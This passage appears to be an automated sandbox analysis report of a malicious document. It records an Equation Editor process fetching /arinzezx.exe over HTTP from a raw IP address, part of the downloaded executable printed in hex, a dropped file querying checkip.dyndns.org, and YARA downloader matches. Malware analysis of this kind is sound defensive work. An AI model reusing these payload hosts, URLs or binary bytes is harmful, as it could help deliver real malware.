Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49171
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.105.179:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 193.122.6.168:80

Networking
barindex
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\rinzearec84736.exe DNS query: name: checkip.dyndns.org
Yara detected Generic Downloader
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 193.122.6.168 193.122.6.168
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Nov 2022 15:50:19 GMTServer: ApacheLast-Modified: Tue, 29 Nov 2022 07:44:35 GMTETag: "cda00-5ee9728c85e41"Accept-Ranges: bytesContent-Length: 842240Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2d b6 85 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 d2 0c 00 00 06 00 00 00 00 00 00 e2 f0 0c 00 00 20 00 00 00 00 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 f0 0c 00 4f 00 00 00 00 00 0d 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 d0 0c 00 00 20 00 00 00 d2 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 0d 00 00 04 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 0d 00 00 02 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f0 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 3c e5 00 00 fc 8f 00 00 03 00 00 00 6c 00 00 06 38 75 01 00 58 7b 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 02 14 7d 01 00 00 04 02 28 14 00 00 0a 00 00 02 28 07 00 00 06 00 2a 13 30 01 00 16 00 00 00 01 00 00 11 00 73 14 00 00 06 0a 06 6f 15 00 00 0a 00 02 28 16 00 00 0a 00 2a 00 00 13 30 01 00 16 00 00 00 02 00 00 11 00 73 0f 00 00 06 0a 06 6f 15 00 00 0a 00 02 28 16 00 00 0a 00 2a 00 00 13 30 01 00 16 00 00 00 03 00 00 11 00 73 08 00 00 06 0a 06 6f 15 00 00 0a 00 02 28 16 00 00 0a 00 2a 00 00 13 30 01 00 16 00 00 00 04 00 00 11 00 73 1a 00 00 06 0a 06 6f 15 00 00 0a 00 02 28 16 00 00 0a 00 2a 00 00 13 30 02 00 2b 00 00 00 05 00 00 11 00 03 2c 0b 02 7b 01 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b 01 00 00 04 6f 17 00 00 0a 00 00 02 03 28 18 00 00 0a 00 2a 00 13 30 06 00 72 04 00 00 06 00 00 11 00 d0 02 00 00 02 28 19 00 00 0a 73 1a 00 00 0a 0a 02 73 1b 00 00 0a 7d 02 00 00 04 02 73 1b 00 00 0a 7d 03 00 00 04 02 73 1b 00 00 0a 7d 04 00 00 04 02 73 1b 00 00 0a 7d 05 00 00 04 02 28 1c 00 00 0a 00 02 7b 02 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /arinzezx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 208.67.105.179Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: EQNEDT32.EXE, 00000002.00000003.908007416.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.908630489.00000000005C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com} equals www.linkedin.com (Linkedin)
